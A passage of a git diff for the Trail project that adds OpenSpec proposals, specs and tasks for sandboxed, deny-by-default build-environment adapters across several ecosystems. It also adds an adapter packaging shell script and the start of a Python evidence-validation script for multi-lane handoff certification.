shapes than its production evidence currently certifies. The remaining gaps force common monorepos, alternate package managers, native dependencies, and non-Rust build systems either to fail closed or to fall back to unqualified host behavior, undermining reliable A → B → C lane handoffs. + +## What Changes + +- Extend the built-in Go adapter from one module to graph-aware `go.work` multi-module workspaces. +- Add real-repository A → B → C certification for Yarn and Bun using their exact frozen-install and cache contracts. +- Install Python dependencies from `uv.lock` with `uv sync --frozen`, preserving a lane-private virtual environment and shared download cache. +- Expand the CMake adapter to model presets, Ninja, toolchain files, ccache, and one pinned C/C++ dependency-manager contract (vcpkg or Conan). +- Add a deny-by-default approval contract for Node lifecycle scripts and native addons, with platform/toolchain-sensitive identity and non-shareable handling where correctness cannot be proven. +- Certify Bazel, Gradle, Maven, and Nix through the existing repository recipe or external adapter/plugin contract rather than adding ad hoc execution paths. +- Require unit, integration, adversarial, real-tool, and real-repository evidence plus aligned CLI reports and public documentation for every newly certified variant. + +## Capabilities + +### New Capabilities + +- `deep-ecosystem-environments`: Built-in Go, Node, Python, and CMake environment variants, their safety and reuse contracts, and semantic A → B → C qualification. +- `external-build-system-certification`: Conformance and real-tool certification for Bazel, Gradle, Maven, and Nix through the adapter/plugin contract. + +### Modified Capabilities + +None. The repository has no promoted main OpenSpec capability specs; this change codifies previously documented partial behavior as new enforceable requirements. + +## Impact + +- Built-in environment adapters under `trail/src/db/lane/workspace_{go,node,python,cmake}.rs` and shared planning, sandbox, cache, output, and generation code. +- Adapter SDK/package contracts and repository command recipes where external systems need richer declarations. +- CLI/Rust/HTTP/MCP environment reports if new policy, approval, graph, or certification evidence becomes public. +- Real-framework qualification scripts and the layered-workspaces/CI matrices on Linux, macOS, and Windows where supported. +- Environment design, adapter contract, lane workflow, security guidance, README, and changelog documentation. +- Host tool prerequisites for Go, Yarn, Bun, uv, CMake/Ninja/ccache, the selected C/C++ dependency manager, Bazel, Gradle, Maven, and Nix qualification jobs. diff --git a/openspec/changes/deepen-ecosystem-environments/specs/deep-ecosystem-environments/spec.md b/openspec/changes/deepen-ecosystem-environments/specs/deep-ecosystem-environments/spec.md new file mode 100644 index 00000000..66b3ee45 --- /dev/null +++ b/openspec/changes/deepen-ecosystem-environments/specs/deep-ecosystem-environments/spec.md @@ -0,0 +1,87 @@ +## ADDED Requirements + +### Requirement: Go multi-module workspace graph +Trail SHALL discover a contained `go.work` graph as one environment component, include every workspace member and graph authority in identity, and construct its vendor output without mutating source. + +#### Scenario: Contained workspace handoff +- **WHEN** agents A, B, and C successively edit modules in one pinned `go.work` repository +- **THEN** each child starts from its parent's semantic checkpoint, receives a distinct exact component identity where source-sensitive vendor inputs change, and may seed construction only from a compatible predecessor + +#### Scenario: Escaping workspace member +- **WHEN** `go.work` contains an absolute, parent-traversing, symlink-escaping, duplicate, or over-limit member +- **THEN** discovery or planning fails closed before invoking Go or publishing an environment generation + +### Requirement: Yarn and Bun frozen dependency gates +Trail SHALL apply manager-specific frozen resolution and installation contracts for Yarn Classic and Bun and SHALL certify each against a pinned real repository. + +#### Scenario: Source-only successor +- **WHEN** a source-only A → B → C edit leaves the manager lock and policy unchanged +- **THEN** Yarn or Bun retains the same dependency key and immutable seed while every lane receives an independent writable upper + +#### Scenario: Dependency invalidation +- **WHEN** the lockfile, package-manager identity, lifecycle policy, platform-sensitive contract, or dependency manifest changes +- **THEN** Trail rejects stale output and resolves a new exact component rather than claiming reuse + +#### Scenario: Yarn PnP repository +- **WHEN** a Yarn repository selects Plug'n'Play instead of a `node_modules` linker +- **THEN** the built-in Node adapter reports an explicit unsupported PnP contract and publishes no empty or misleading layer + +### Requirement: Frozen uv project synchronization +Trail SHALL install `uv.lock` projects with `uv sync --frozen` semantics into a lane-private virtual environment and SHALL use the shared uv cache only as performance state. + +#### Scenario: Locked project installation +- **WHEN** a contained project has a valid `pyproject.toml` and `uv.lock` +- **THEN** synchronization creates a complete project environment, validates locked dependencies/project installation, and activates direct private `.venv` bindings without source checkpoint pollution + +#### Scenario: Frozen lock mismatch +- **WHEN** project metadata and `uv.lock` are inconsistent or uv would need to update the lock +- **THEN** synchronization fails without changing the repository lockfile or active environment generation + +#### Scenario: Python workspace escape +- **WHEN** uv workspace/source metadata resolves outside the pinned repository or exceeds graph bounds +- **THEN** Trail rejects the plan before installation + +### Requirement: Modern CMake private build environment +Trail SHALL model CMake presets, Ninja, contained toolchain files, ccache, and pinned vcpkg manifest mode while retaining lane-private mutable build trees. + +#### Scenario: Preset and Ninja build +- **WHEN** a repository selects a contained configure preset using Ninja +- **THEN** the selected expanded preset, generator, CMake/Ninja/compiler/toolchain identities, and policy determine the component identity and managed commands use the lane-private build directory + +#### Scenario: Compiler cache reuse +- **WHEN** compatible lanes use ccache with identical correctness identity +- **THEN** they share only the adapter-managed compiler cache namespace and never share a writable CMake build tree + +#### Scenario: Pinned vcpkg manifest +- **WHEN** the repository has a vcpkg manifest with a pinned baseline and a verified host vcpkg/toolchain identity +- **THEN** Trail records dependency-manager identity, confines caches and installed/build output by policy, and can reproduce construction offline from prewarmed inputs + +#### Scenario: Unsafe preset or toolchain include +- **WHEN** a preset include, toolchain file, vcpkg path, or generated directory escapes the component root or declared host toolchain boundary +- **THEN** Trail fails closed before configure + +### Requirement: Approved Node lifecycle and native addons +Trail SHALL disable Node lifecycle scripts by default and SHALL execute them only under an exact, versioned, committed approval and native sandbox policy. + +#### Scenario: Approved native addon +- **WHEN** a lock-pinned package and lifecycle phase exactly match the committed approval and all compiler/platform identities are available +- **THEN** Trail may build the addon with denied network and declared writable outputs, and scopes the result to the exact ABI, platform, toolchain, manager, lock, and approval identity + +#### Scenario: Unapproved transitive script +- **WHEN** installation attempts any lifecycle script or native build not selected by the approval +- **THEN** construction terminates, publishes no shared result, and records a bounded redacted policy failure + +#### Scenario: Undeclared side effect +- **WHEN** an approved script attempts network access or writes outside declared outputs/caches/temp +- **THEN** the host sandbox denies the operation and the active generation remains unchanged + +### Requirement: Semantic ecosystem certification +Trail SHALL label an ecosystem variant certified only when canonical local and hosted evidence proves its adapter contract, real-tool behavior, and semantic A → B → C handoff. + +#### Scenario: Certification evidence accepted +- **WHEN** evidence names pinned repository/tool/adapter identities, three exact lane roots and ancestry, expected reuse/private outputs, validations, invalidation cases, and raw evidence hashes +- **THEN** the verifier accepts it deterministically and documentation may mark that variant certified for the tested platforms + +#### Scenario: Incomplete or contradictory evidence +- **WHEN** evidence omits a required assertion, claims reuse with changed correctness identity, reuses private output across lanes, or has mismatched raw hashes +- **THEN** the verifier rejects it and CI cannot promote the certification diff --git a/openspec/changes/deepen-ecosystem-environments/specs/external-build-system-certification/spec.md b/openspec/changes/deepen-ecosystem-environments/specs/external-build-system-certification/spec.md new file mode 100644 index 00000000..579fb116 --- /dev/null +++ b/openspec/changes/deepen-ecosystem-environments/specs/external-build-system-certification/spec.md @@ -0,0 +1,51 @@ +## ADDED Requirements + +### Requirement: Extension-contract certification packages +Trail SHALL certify Bazel, Gradle, Maven, and Nix through versioned repository recipes or installed adapter packages governed by the common host lifecycle. + +#### Scenario: Expressible system plan +- **WHEN** one of the four systems can declare its exact inputs, host tools, caches, outputs, validation, network/script policy, and portability through the current recipe or plugin protocol +- **THEN** its certification uses that protocol without adding an ecosystem-specific execution bypass in Trail core + +#### Scenario: Missing protocol capability +- **WHEN** a required behavior cannot be represented safely by the current protocol +- **THEN** Trail first adds a typed, bounded, denied-by-default protocol capability with SDK and malicious-package conformance coverage + +### Requirement: Bazel certification +The Bazel package SHALL model lock/module/workspace configuration as identity, repository/download state as cache-only, and Bazel output roots as lane-private state. + +#### Scenario: Bazel A to B to C +- **WHEN** a pinned Bazel repository is built and tested across three semantic successor lanes +- **THEN** all validations pass, shared cache reuse is correctness-neutral, output bases remain isolated, and an identity input change rejects stale state + +### Requirement: Gradle certification +The Gradle package SHALL model wrapper verification, dependency locks/version catalogs/settings as identity, Gradle user-home downloads as bounded cache state, and project build/daemon state as lane-private or disposable. + +#### Scenario: Gradle A to B to C +- **WHEN** a pinned Gradle repository is built and tested across three semantic successor lanes using the verified wrapper distribution +- **THEN** dependency cache reuse does not share writable project outputs or daemon authority and lock/config changes invalidate exact identity + +### Requirement: Maven certification +The Maven package SHALL model wrapper/tool identity, effective lock or reproducible dependency authority, settings without secrets, repository downloads as cache state, and target output as lane-private. + +#### Scenario: Maven A to B to C +- **WHEN** a pinned Maven repository is built and tested offline across three semantic successor lanes +- **THEN** local artifact downloads are reused only as cache, target trees remain independent, and POM/lock/tool changes reject stale identity + +### Requirement: Nix certification +The Nix package SHALL require flake lock or equivalent pinned evaluation authority and SHALL represent Nix store results as verified external immutable identities rather than writable Trail layers. + +#### Scenario: Nix flake A to B to C +- **WHEN** a pinned flake is evaluated, built, and checked across three semantic successor lanes +- **THEN** Trail records exact store-path/content identity and validation evidence, keeps mutable profiles/state lane-private, and rejects unlocked or impure evaluation + +### Requirement: Common malicious-package conformance +Every external certification package SHALL pass the adapter contract's hostile-plan, containment, bounds, determinism, recovery, and redaction suite. + +#### Scenario: Malicious package proposal +- **WHEN** a package proposes path traversal, mutable host tools, undeclared execution, network/secrets, excessive graph/output size, source shadowing, or nondeterministic plan ordering +- **THEN** the Trail host rejects it before publication and preserves the prior active generation + +#### Scenario: Interrupted construction +- **WHEN** the process is killed at any durable staging, validation, publication, or activation boundary +- **THEN** reopen either retains the prior generation or completes the exact committed generation without orphan authority diff --git a/openspec/changes/deepen-ecosystem-environments/tasks.md b/openspec/changes/deepen-ecosystem-environments/tasks.md new file mode 100644 index 00000000..70fad233 --- /dev/null +++ b/openspec/changes/deepen-ecosystem-environments/tasks.md @@ -0,0 +1,74 @@ +## 1. Contract and qualification foundations + +- [x] 1.1 Add canonical ecosystem-certification evidence fields and adversarial verifier fixtures for tools, ancestry, identity, caches, outputs, invalidation, and raw hashes +- [x] 1.2 Extend the real-framework harness with manager/build-system-specific setup, semantic edits, validations, and stale-output assertions without weakening existing five-framework evidence +- [x] 1.3 Add CI matrix metadata and tool setup for the newly certified variants while keeping unstable real-repository jobs opt-in until promoted + +## 2. Go multi-module workspaces + +- [x] 2.1 Implement bounded, contained `go.work` member-graph parsing and discovery while preserving single-module compatibility +- [x] 2.2 Plan and construct graph-aware workspace vendor output with exact member/module/workspace/tool/platform identity and managed Go caches +- [x] 2.3 Add unit and adversarial tests for valid graphs, replacements, duplicates, traversal, symlinks, graph bounds, and deterministic ordering +- [x] 2.4 Run and seal a real multi-module Go A → B → C workspace qualification + +## 3. Yarn and Bun certification + +- [x] 3.1 Complete Yarn Classic frozen snapshot/install/cache handling and keep Berry/PnP explicitly fail-closed +- [x] 3.2 Complete Bun frozen snapshot/install/cache handling with exact manager and platform identity +- [x] 3.3 Add manager-specific unit/integration tests for source-only reuse, lock invalidation, cache/private-upper isolation, and unsupported layouts +- [x] 3.4 Run and seal pinned real-repository A → B → C qualifications for Yarn and Bun + +## 4. Python uv project environments + +- [x] 4.1 Replace `uv.lock` pip-style installation with contained `uv sync --frozen` project semantics in the physical private upper +- [x] 4.2 Include uv workspace/member/source authority and selected Python/uv identities in bounded deterministic planning +- [x] 4.3 Validate installed project/dependency state and add mismatch, escape, offline, interruption, reopen, and private-output tests +- [x] 4.4 Run and seal a real uv-locked Python A → B → C qualification + +## 5. Modern CMake environments + +- [x] 5.1 Add bounded contained CMake preset/include selection and selected configure-preset identity +- [x] 5.2 Add Ninja, compiler, toolchain-file, and generator identity plus direct lane-private build bindings +- [x] 5.3 Add host-scoped ccache declarations and verify cache-only sharing with private build-tree isolation +- [x] 5.4 Add pinned vcpkg manifest/baseline/toolchain planning, offline cache/output policy, and escape rejection +- [x] 5.5 Add unit, adversarial, interruption, reopen, and real-tool tests for presets, Ninja, ccache, toolchains, and vcpkg +- [x] 5.6 Run and seal a real modern-CMake A → B → C qualification + +## 6. Approved Node lifecycle scripts and native addons + +- [x] 6.1 Define and parse one canonical committed versioned approval policy with exact manager, lock, package/script selectors, capabilities, and output declarations +- [x] 6.2 Bind approval provenance, ABI/platform/compiler identities, network policy, and output policy into component identity and receipts +- [x] 6.3 Enforce allowlisted lifecycle execution in the native sandbox and reject unapproved scripts, undeclared writes, network, secrets, and missing toolchains +- [x] 6.4 Add native-addon real-tool tests plus malicious transitive-package, interruption, recovery, redaction, and cross-lane isolation tests +- [x] 6.5 Run and seal a pinned native-addon A → B → C qualification + +## 7. Bazel adapter/plugin certification + +- [x] 7.1 Author a versioned Bazel recipe/package declaring module/lock/tool identity, cache-only repository state, private output bases, and validations +- [x] 7.2 Pass SDK/common malicious-plan, determinism, containment, recovery, and redaction conformance for Bazel +- [x] 7.3 Run and seal a pinned Bazel A → B → C real-repository qualification + +## 8. Gradle adapter/plugin certification + +- [x] 8.1 Author a versioned Gradle recipe/package with verified wrapper/tool, lock/catalog/settings identity, bounded caches, private build state, and daemon policy +- [x] 8.2 Pass SDK/common malicious-plan, determinism, containment, recovery, and redaction conformance for Gradle +- [x] 8.3 Run and seal a pinned Gradle A → B → C real-repository qualification + +## 9. Maven adapter/plugin certification + +- [x] 9.1 Author a versioned Maven recipe/package with verified wrapper/tool, POM/reproducible dependency authority, secret-free settings, bounded cache, and private target state +- [x] 9.2 Pass SDK/common malicious-plan, determinism, containment, recovery, and redaction conformance for Maven +- [x] 9.3 Run and seal a pinned offline Maven A → B → C real-repository qualification + +## 10. Nix adapter/plugin certification + +- [x] 10.1 Author a versioned Nix recipe/package requiring pinned pure evaluation and representing store paths as external immutable identities +- [x] 10.2 Pass SDK/common malicious-plan, determinism, containment, recovery, redaction, and impure/unlocked rejection conformance for Nix +- [x] 10.3 Run and seal a pinned Nix flake A → B → C real-repository qualification + +## 11. Public contracts and release evidence + +- [x] 11.1 Align Rust, CLI JSON, HTTP/OpenAPI, MCP, and SDK reports for any new approval/certification fields and add compatibility tests +- [x] 11.2 Update README, adapter/environment design, lane guides, reference docs, security guidance, and changelog with certified versus recognized platform status +- [ ] 11.3 Run formatting, workspace check/test/Clippy, adapter SDK, environment lifecycle, native backend, real-tool, and hosted certification gates +- [x] 11.4 Audit every spec scenario against authoritative evidence and leave no variant labeled certified without a passing platform gate diff --git a/scripts/build-ecosystem-adapter-package.sh b/scripts/build-ecosystem-adapter-package.sh new file mode 100755 index 00000000..1477bcd8 --- /dev/null +++ b/scripts/build-ecosystem-adapter-package.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +set -euo pipefail + +die() { + echo "build-ecosystem-adapter-package: $*" >&2 + exit 64 +} + +[[ $# == 2 ]] || die "usage: $0 " +ecosystem=$1 +output=$2 +case "$ecosystem" in + bazel|gradle|maven|nix) ;; + *) die "unsupported ecosystem: $ecosystem" ;; +esac +[[ $output == /* ]] || die "output directory must be absolute" +[[ ! -e $output ]] || die "output directory already exists: $output" +: "${TRAIL_ECOSYSTEM_ADAPTER_BIN:?set TRAIL_ECOSYSTEM_ADAPTER_BIN to the built example executable}" +[[ $TRAIL_ECOSYSTEM_ADAPTER_BIN == /* ]] || die "TRAIL_ECOSYSTEM_ADAPTER_BIN must be absolute" +[[ -x $TRAIL_ECOSYSTEM_ADAPTER_BIN ]] || die "adapter executable is not runnable" + +script_dir=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) +repository_root=$(cd -- "$script_dir/.." && pwd) +template=$repository_root/tools/environment-adapters/$ecosystem/trail-adapter.toml.in +[[ -f $template ]] || die "package template is missing: $template" + +mkdir -p "$output" +cp "$TRAIL_ECOSYSTEM_ADAPTER_BIN" "$output/ecosystem-build-adapter" +chmod 755 "$output/ecosystem-build-adapter" +cp "$template" "$output/trail-adapter.toml" +digest=$(shasum -a 256 "$output/ecosystem-build-adapter" | awk '{print $1}') +sed -i.bak "s/@EXECUTABLE_SHA256@/$digest/g" "$output/trail-adapter.toml" +unlink "$output/trail-adapter.toml.bak" +grep -F "sha256:$digest" "$output/trail-adapter.toml" >/dev/null +echo "$output" diff --git a/scripts/check-external-build-system-handoff.py b/scripts/check-external-build-system-handoff.py new file mode 100644 index 00000000..c5a2d13b --- /dev/null +++ b/scripts/check-external-build-system-handoff.py @@ -0,0 +1,564 @@ +#!/usr/bin/env python3 +"""Validate and seal external build-system Agent A -> B -> C evidence.""" + +from __future__ import annotations + +import argparse +import hashlib +import json +import platform +from pathlib import Path +from typing import Any + + +LANES = ("agent-a", "agent-b", "agent-c") +SYSTEMS = {"node-native", "bazel", "gradle", "maven", "nix"} +NIX_BUILDER_IMAGE = ( + "nixos/nix@sha256:286285edfc390096bd7e8aada40c5044dadff1eb0b60f28b193eef7ed52e5925" +) +NIX_BUILDER_DIGEST = "sha256:" + "286285edfc390096bd7e8aada40c5044dadff1eb0b60f28b193eef7ed52e5925" +NIX_PLATFORM = "linux/arm64" + + +def load_report(raw: Path, name: str) -> dict[str, Any]: + value = json.loads((raw / f"{name}.json").read_text(encoding="utf-8")) + if not isinstance(value, dict): + raise AssertionError(f"{name}.json is not a JSON object") + return value + + +def select_component(generation: dict[str, Any], component_id: str) -> dict[str, Any]: + matches = [ + component + for component in generation.get("components", []) + if component.get("component_id") == component_id + ] + if len(matches) != 1: + raise AssertionError( + f"expected one {component_id!r} component, found " + f"{[item.get('component_id') for item in generation.get('components', [])]!r}" + ) + return matches[0] + + +def contains_value(value: Any, expected: str) -> bool: + if value == expected: + return True + if isinstance(value, dict): + return any(contains_value(item, expected) for item in value.values()) + if isinstance(value, list): + return any(contains_value(item, expected) for item in value) + return False + + +def assert_plan_security(plan: dict[str, Any], lane: str, system: str) -> None: + capabilities = plan.get("capabilities") + if not isinstance(capabilities, dict): + raise AssertionError(f"{lane} plan omitted capabilities") + network = capabilities.get("network") + expected_denial = network == "none" if system == "nix" else ( + isinstance(network, str) and "deny" in network + ) + if not expected_denial: + raise AssertionError(f"{lane} plan did not deny outbound network: {network!r}") + expected_secret_denial = "none" if system == "nix" else "deny" + if capabilities.get("secrets") != expected_secret_denial: + raise AssertionError(f"{lane} plan did not deny secrets") + if system == "node-native": + if capabilities.get("shell") != "approved-process-tree" or capabilities.get( + "scripts" + ) != "exact-committed-approval": + raise AssertionError(f"{lane} plan lost exact lifecycle approval bounds") + elif capabilities.get("shell") != ("none" if system == "nix" else "deny"): + raise AssertionError(f"{lane} plan did not deny shell") + + +def assert_plan_matches_sync( + lane: str, + plan: dict[str, Any], + checkpoint: dict[str, Any], + sync: dict[str, Any], + component_id: str, +) -> dict[str, Any]: + generation = sync.get("generation") + if not isinstance(generation, dict) or generation.get("state") != "active": + raise AssertionError(f"{lane} did not publish an active generation") + component = select_component(generation, component_id) + if plan.get("source_root") != checkpoint.get("root_id"): + raise AssertionError(f"{lane} plan source root does not match its checkpoint") + if generation.get("source_root") != checkpoint.get("root_id"): + raise AssertionError(f"{lane} generation source root does not match its checkpoint") + if plan.get("component_key") != component.get("component_key"): + raise AssertionError(f"{lane} plan and generation component identities differ") + decisions = [ + decision + for decision in sync.get("decisions", []) + if decision.get("component_id") == component_id + ] + if len(decisions) != 1 or decisions[0].get("desired_key") != plan.get("component_key"): + raise AssertionError(f"{lane} sync decision does not match its plan") + return component + + +def assert_private_outputs( + components: list[dict[str, Any]], expected_names: set[str] | None = None +) -> tuple[list[dict[str, str]], set[str]]: + output_storage: list[dict[str, str]] = [] + all_storage: set[str] = set() + for component in components: + outputs = component.get("outputs") + if not isinstance(outputs, list) or not outputs: + raise AssertionError("each external component must declare private output") + names = {output.get("name") for output in outputs} + if expected_names is None: + expected_names = names + elif names != expected_names: + raise AssertionError("private output declarations changed across lanes") + lane_storage: dict[str, str] = {} + for output in outputs: + storage = output.get("storage_identity") + if ( + output.get("policy") != "writable_private" + or output.get("publish") != "never" + or output.get("layer_id") is not None + or not isinstance(storage, str) + or not storage.startswith("private_") + ): + raise AssertionError(f"unsafe external output contract: {output!r}") + if storage in all_storage: + raise AssertionError("lane-private output storage was reused across lanes") + all_storage.add(storage) + lane_storage[output["name"]] = storage + output_storage.append(lane_storage) + return output_storage, expected_names or set() + + +def nix_artifact_identities( + report: dict[str, Any], label: str +) -> tuple[dict[str, str], dict[str, tuple[str, str]]]: + artifacts = report.get("external_artifacts") + if not isinstance(artifacts, list): + raise AssertionError(f"{label} omitted Nix external artifacts") + builders = [artifact for artifact in artifacts if artifact.get("name") == "nix-builder"] + if len(builders) != 1: + raise AssertionError(f"{label} must declare exactly one pinned Nix builder") + builder = builders[0] + if builder != { + "name": "nix-builder", + "artifact_type": "oci_image", + "provider": "oci", + "reference": NIX_BUILDER_IMAGE, + "digest": NIX_BUILDER_DIGEST, + "platform": NIX_PLATFORM, + "cleanup_owner": "external", + }: + raise AssertionError(f"{label} changed the exact pinned Nix builder identity") + stores = { + artifact.get("name"): artifact + for artifact in artifacts + if artifact.get("name") != "nix-builder" + } + if set(stores) != {"package", "check"} or len(artifacts) != 3: + raise AssertionError(f"{label} must declare exactly package and check Nix stores") + identities: dict[str, tuple[str, str]] = {} + for name, artifact in stores.items(): + reference = artifact.get("reference") + digest = artifact.get("digest") + digest_hex = digest.removeprefix("sha256:") if isinstance(digest, str) else "" + store_name = reference.removeprefix("/nix/store/") if isinstance(reference, str) else "" + if ( + artifact.get("artifact_type") != "verified_external" + or artifact.get("provider") != "nix" + or artifact.get("platform") != NIX_PLATFORM + or artifact.get("cleanup_owner") != "external" + or not isinstance(reference, str) + or not reference.startswith("/nix/store/") + or "/" in store_name + or len(store_name) < 34 + or store_name[32] != "-" + or len(digest_hex) != 64 + or any(character not in "0123456789abcdef" for character in digest_hex) + ): + raise AssertionError( + f"{label} {name!r} is not a verified immutable Nix store identity" + ) + identities[name] = (reference, digest) + return {"external:nix-builder": NIX_BUILDER_IMAGE}, identities + + +def check_evidence( + evidence_dir: Path, + system: str, + repository: str, + revision: str, + component_id: str, +) -> dict[str, Any]: + if system not in SYSTEMS: + raise AssertionError(f"unsupported external build system {system!r}") + raw = evidence_dir / "raw" + distribution_report_name = "distribution" if system == "node-native" else "plugin-install" + package = load_report(raw, distribution_report_name) + conformance = load_report(raw, "conformance") + spawns = [load_report(raw, f"spawn-{lane}") for lane in LANES] + checkpoints = [load_report(raw, f"checkpoint-{lane}") for lane in LANES] + plans = [load_report(raw, f"plan-{lane}") for lane in LANES] + repeated_plans = [load_report(raw, f"plan-{lane}-repeat") for lane in LANES] + syncs = [load_report(raw, f"sync-{lane}") for lane in LANES] + validations = [load_report(raw, f"validation-{lane}") for lane in LANES] + + identity = package.get("canonical_identity") + package_digest = package.get("distribution_digest") + if not isinstance(identity, str) or not identity: + raise AssertionError("plugin install report omitted canonical identity") + expected_digest_prefix = "builtin:" if system == "node-native" else "sha256:" + if not isinstance(package_digest, str) or not package_digest.startswith( + expected_digest_prefix + ): + raise AssertionError("plugin install report omitted distribution digest") + if conformance.get("exit_code") != 0: + raise AssertionError("adapter conformance did not pass") + assertions = conformance.get("assertions") + if not isinstance(assertions, dict) or not assertions or not all( + value is True for value in assertions.values() + ): + raise AssertionError("adapter conformance assertions are incomplete or failed") + + if any(plan != repeated for plan, repeated in zip(plans, repeated_plans, strict=True)): + raise AssertionError("external adapter plan is nondeterministic") + if any(plan.get("adapter_identity") != identity for plan in plans): + raise AssertionError("plan adapter identity does not match installed distribution") + if any(not contains_value(plan, package_digest) for plan in plans): + raise AssertionError("plan identity does not bind the installed distribution digest") + if system == "nix": + nix_plan_identities = [ + nix_artifact_identities(plan, f"{lane} plan") + for lane, plan in zip(LANES, plans, strict=True) + ] + tools = [identity[0] for identity in nix_plan_identities] + else: + nix_plan_identities = [] + tools = [plan.get("tools") for plan in plans] + if any(not isinstance(item, dict) or not item for item in tools): + raise AssertionError("each plan must record exact tool identities") + if any(item != tools[0] for item in tools[1:]): + raise AssertionError("tool identities changed across source-only lanes") + for lane, plan in zip(LANES, plans, strict=True): + assert_plan_security(plan, lane, system) + + workdirs = [spawn.get("workdir") for spawn in spawns] + backends = [spawn.get("workdir_mode") for spawn in spawns] + if len(set(workdirs)) != 3 or any( + not isinstance(workdir, str) or not Path(workdir).is_absolute() + for workdir in workdirs + ): + raise AssertionError("A, B, and C need distinct absolute workdirs") + if len(set(backends)) != 1 or backends[0] not in { + "fuse-cow", + "nfs-cow", + "dokan-cow", + }: + raise AssertionError(f"A, B, and C need one transparent-COW backend: {backends!r}") + for index in (1, 2): + if spawns[index].get("base_change") != checkpoints[index - 1].get("operation"): + raise AssertionError(f"{LANES[index]} did not start from its parent checkpoint") + for lane, checkpoint in zip(LANES, checkpoints, strict=True): + if not checkpoint.get("source_paths"): + raise AssertionError(f"{lane} checkpoint omitted semantic source paths") + generated_dirty = checkpoint.get("generated_dirty_paths") + if not isinstance(generated_dirty, int) or generated_dirty < 0: + raise AssertionError(f"{lane} checkpoint has invalid generated-path accounting") + + components = [ + assert_plan_matches_sync(lane, plan, checkpoint, sync, component_id) + for lane, plan, checkpoint, sync in zip( + LANES, plans, checkpoints, syncs, strict=True + ) + ] + if system == "nix": + nix_component_identities = [ + nix_artifact_identities(component, f"{lane} generation") + for lane, component in zip(LANES, components, strict=True) + ] + if any( + component_identity != plan_identity + for component_identity, plan_identity in zip( + nix_component_identities, nix_plan_identities, strict=True + ) + ): + raise AssertionError("Nix plan and active generation artifact identities differ") + for name in ("package", "check"): + if len( + { + identity[1][name] + for identity in nix_component_identities + } + ) != 3: + raise AssertionError( + f"Agent A, B, and C must have distinct Nix {name} store identities" + ) + component_keys = [component["component_key"] for component in components] + if len(set(component_keys)) != 3: + raise AssertionError("source-sensitive external component keys must be distinct") + caches = [component.get("caches", []) for component in components] + if any(item != caches[0] for item in caches[1:]): + raise AssertionError("correctness-neutral cache declarations changed across lanes") + output_storage, output_names = assert_private_outputs(components) + if any(validation.get("exit_code") != 0 for validation in validations): + raise AssertionError("one or more semantic validations failed") + + invalidation_spawn = load_report(raw, "spawn-invalidation") + invalidation_checkpoint = load_report(raw, "checkpoint-invalidation") + invalidation_plan = load_report(raw, "plan-invalidation") + invalidation_plan_repeat = load_report(raw, "plan-invalidation-repeat") + invalidation_sync = load_report(raw, "sync-invalidation") + invalidation_validation = load_report(raw, "validation-invalidation") + if invalidation_spawn.get("base_change") != checkpoints[-1].get("operation"): + raise AssertionError("invalidation lane did not start from Agent C") + invalidation_generated_dirty = invalidation_checkpoint.get("generated_dirty_paths") + if ( + not isinstance(invalidation_generated_dirty, int) + or invalidation_generated_dirty < 0 + or not invalidation_checkpoint.get("source_paths") + ): + raise AssertionError("invalidation checkpoint is incomplete or polluted") + if invalidation_plan != invalidation_plan_repeat: + raise AssertionError("invalidation plan is nondeterministic") + if invalidation_plan.get("adapter_identity") != identity or not contains_value( + invalidation_plan, package_digest + ): + raise AssertionError("invalidation plan lost adapter distribution identity") + invalidation_nix_identity = ( + nix_artifact_identities(invalidation_plan, "invalidation plan") + if system == "nix" + else None + ) + invalidation_tools = ( + invalidation_nix_identity[0] + if invalidation_nix_identity is not None + else invalidation_plan.get("tools") + ) + if invalidation_tools != tools[0]: + raise AssertionError("invalidation plan changed tool identity") + assert_plan_security(invalidation_plan, "invalidation", system) + invalidation_component = assert_plan_matches_sync( + "invalidation", + invalidation_plan, + invalidation_checkpoint, + invalidation_sync, + component_id, + ) + if system == "nix": + invalidation_component_identity = nix_artifact_identities( + invalidation_component, "invalidation generation" + ) + if invalidation_component_identity != invalidation_nix_identity: + raise AssertionError( + "Nix invalidation plan and active generation artifact identities differ" + ) + if invalidation_component_identity[1] != nix_component_identities[-1][1]: + raise AssertionError( + "lockfile authority-only invalidation unexpectedly changed Nix store results" + ) + if invalidation_component["component_key"] == component_keys[-1]: + raise AssertionError("identity-input invalidation reused Agent C's component key") + if invalidation_component.get("caches", []) != caches[-1]: + raise AssertionError("identity invalidation lost correctness-neutral caches") + invalidation_storage, _ = assert_private_outputs( + [invalidation_component], expected_names=output_names + ) + if set(invalidation_storage[0].values()) & { + value for lane_storage in output_storage for value in lane_storage.values() + }: + raise AssertionError("identity invalidation reused prior private output storage") + if invalidation_validation.get("exit_code") != 0: + raise AssertionError("identity invalidation validation failed") + + security_assertions: dict[str, bool] = {} + if system == "node-native": + network_denial = load_report(raw, "security-network-denial") + write_denial = load_report(raw, "security-write-denial") + if ( + network_denial.get("exit_code") != 0 + or network_denial.get("network_error") not in {"EPERM", "EACCES"} + or network_denial.get("outbound_connect_denied") is not True + ): + raise AssertionError("Node lifecycle outbound-network denial evidence failed") + if ( + not isinstance(write_denial.get("exit_code"), int) + or write_denial["exit_code"] == 0 + or write_denial.get("canary_created") is not False + or write_denial.get("active_generation") is not None + or write_denial.get("undeclared_write_denied") is not True + ): + raise AssertionError("Node lifecycle undeclared-write denial evidence failed") + security_assertions = { + "real_outbound_connect_denied": True, + "real_undeclared_write_denied_without_activation": True, + } + + expected_names = { + f"{distribution_report_name}.json", + "conformance.json", + *(f"spawn-{lane}.json" for lane in LANES), + *(f"checkpoint-{lane}.json" for lane in LANES), + *(f"plan-{lane}.json" for lane in LANES), + *(f"plan-{lane}-repeat.json" for lane in LANES), + *(f"sync-{lane}.json" for lane in LANES), + *(f"validation-{lane}.json" for lane in LANES), + "spawn-invalidation.json", + "checkpoint-invalidation.json", + "plan-invalidation.json", + "plan-invalidation-repeat.json", + "sync-invalidation.json", + "validation-invalidation.json", + } + if system == "node-native": + expected_names.update( + {"security-network-denial.json", "security-write-denial.json"} + ) + raw_hashes = { + path.name: hashlib.sha256(path.read_bytes()).hexdigest() + for path in sorted(raw.glob("*.json")) + } + if set(raw_hashes) != expected_names: + raise AssertionError( + f"raw evidence set mismatch: missing={sorted(expected_names - set(raw_hashes))!r} " + f"extra={sorted(set(raw_hashes) - expected_names)!r}" + ) + + lane_ancestry = [ + { + "lane": lane, + "base_change": spawn["base_change"], + "checkpoint_operation": checkpoint["operation"], + "checkpoint_root": checkpoint["root_id"], + } + for lane, spawn, 